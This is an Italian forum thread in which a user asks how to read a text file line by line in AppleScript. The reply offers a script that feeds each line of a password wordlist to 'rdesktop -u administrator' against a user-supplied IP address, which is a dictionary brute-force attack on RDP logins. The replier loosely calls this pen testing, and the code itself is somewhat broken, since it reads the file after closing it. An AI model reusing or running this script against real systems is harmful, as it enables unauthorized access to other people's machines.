Vai al contenuto

Leggere txt in Applescript


Messaggi raccomandati

Ciao a tutti,

devo fare uno script (con AS) che legga un file di testo e passi il contenuto di ogni riga (delimitata dal fine riga) in una variabile.

mi serve inserita in un ciclo hce si "beva" tutto il file.

idee?

...e allora sentii la poesia piu' bella del mondo "Maria porta il vino che c'e' un parente dall'america"

Link al commento
Condividi su altri siti

set myPrefsFile to (choose file with prompt "Select a file to read:")

open for access myPrefsFile

set prefsContents to read myPrefsFile using delimiter {return}

-- set line_count to 0

-- repeat

-- try

-- read myPrefsFile until return

-- set line_count to line_count + 1

-- on error

-- probably ran out of lines to read.

-- exit repeat

-- end try

-- end repeat

-- return line_count

close access myPrefsFile

set IPvar to ((text returned) of (display dialog "Enter IP address" default answer " " buttons {"Cancel", "Accept"} default button "Accept")) as text

set x to 1

repeat while x < 100000

set txtvar to (read myPrefsFile for (get eof myPrefsFile))

set var1 to paragraph x of txtvar

tell application "Terminal" to do script ("rdesktop -u administrator -p " & var1 & " " & IPvar)

set x to x + 1

if x = 30 then

tell application "Terminal" to quit

end if

end repeat

se installate rdesktop potete usare lo script per fare dei pen test basati su dizionario.(naturalmente sulle macchine con che hanno rdp attivo sulla 3389)

(in teoria lo doveva gia' fare rdesktop (con la relativa patch) ma a me nn funge quella funzone...)

...e allora sentii la poesia piu' bella del mondo "Maria porta il vino che c'e' un parente dall'america"

Link al commento
Condividi su altri siti

Archiviato

Questa discussione è archiviata e chiusa a future risposte.

×
×
  • Crea Nuovo...